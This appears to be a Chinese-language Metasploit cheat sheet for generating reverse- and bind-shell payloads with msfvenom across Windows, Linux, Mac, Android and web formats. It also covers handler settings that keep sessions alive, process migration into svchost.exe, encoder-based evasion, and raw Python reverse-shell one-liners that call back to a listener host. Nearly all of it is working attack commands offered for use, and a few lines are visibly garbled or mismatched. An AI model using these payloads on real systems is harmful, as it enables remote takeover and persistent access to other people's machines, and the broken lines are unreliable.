目录
目录
监听参数
防⽌假session
防⽌session意外退出
handler后台持续监听
payload的可持续化
各平台payload⽣成
⼆进制
windows
Linux
Mac
Android
Powershell
Netcat
Shellcode
基于Linux的Shellcode
基于Windows的Shellcode
基于Mac的Shellcode
脚本
Python反弹shell
Python正向shell
Bash
Perl
Lua
Ruby
PHP
ASPX
ASP
JSP
WAR
nodejs
Handlers
msf exploit(multi/handler) > set ExitOnSession false
//可以在接收到seesion后继续监听端口,保持侦听
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0
//默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀
死,为防止此情况可将此项修改为0
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0
//默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭
msf exploit(multi/handler) > exploit -j -z
使⽤ exploit -j -z 可在后台持续监听,-j为后台任务,-z为成功后不主动发送stage(感谢 Green-m ⼤佬指正),使⽤Jobs命令查看和管理后台任 务。 jobs -K 可结束所有任务。
msf5 > handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp
⼀般来说使⽤msfvenom⽣成的payload会单独开启⼀个进程,这种进程很容易被发现和关闭,在后期想做持久化的时候只能再使⽤ migrate,其实在⽣成payload时可直接使⽤如下命令,⽣成的payload会直接注⼊到指定进程中。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --
platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o shell.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f exe > shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe > shell.exe
windows下⽣成32位/64位payload时需要注意:以windows/meterpreter/reverse_tcp为例,该payload默认为32位,也可使⽤-a x86选项指定。如果 要⽣成64位,则payload为windows/x64/meterpreter/reverse_tcp。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f elf > shell.elf
msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f macho > shell.macho
msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 R > test.apk
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e cmd/powershell_base64 -i
3 -f raw -o shell.ps1
nc正向连接
msfvenom -p windows/shell_hidden_bind_tcp LHOST=10.211.55.2 LPORT=3333 -f exe> 1.exe
nc反向连接,监听
msfvenom -p windows/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe> 1.exe
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f c
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f c
msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f c
msfvenom -p cmd/unix/reverse_python LHOST=10.211.55.2 LPORT=3333 -f raw > shell.py
msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.py
python/python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.2",3333));os.dup2(s.fileno(),
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
python/python3 -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(("10.211.55.2",3333))\nwhile 1: proc =
subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
msfvenom -p cmd/unix/reverse_bash LHOST=10.211.55.2 LPORT=3333 -f raw > shell.sh
msfvenom -p cmd/unix/reverse_perl LHOST=10.211.55.2 LPORT=3333 -f raw > shell.pl
msfvenom -p cmd/unix/reverse_lua LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.lua
msfvenom -p ruby/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.rb
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.php
cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f aspx -o shell.aspx
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f war > shell.war
msfvenom -p nodejs/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.js
use exploit/multi/handler
set PAYLOAD
set LHOST 10.211.55.2
set LPORT 3333
set ExitOnSession false
exploit -j -z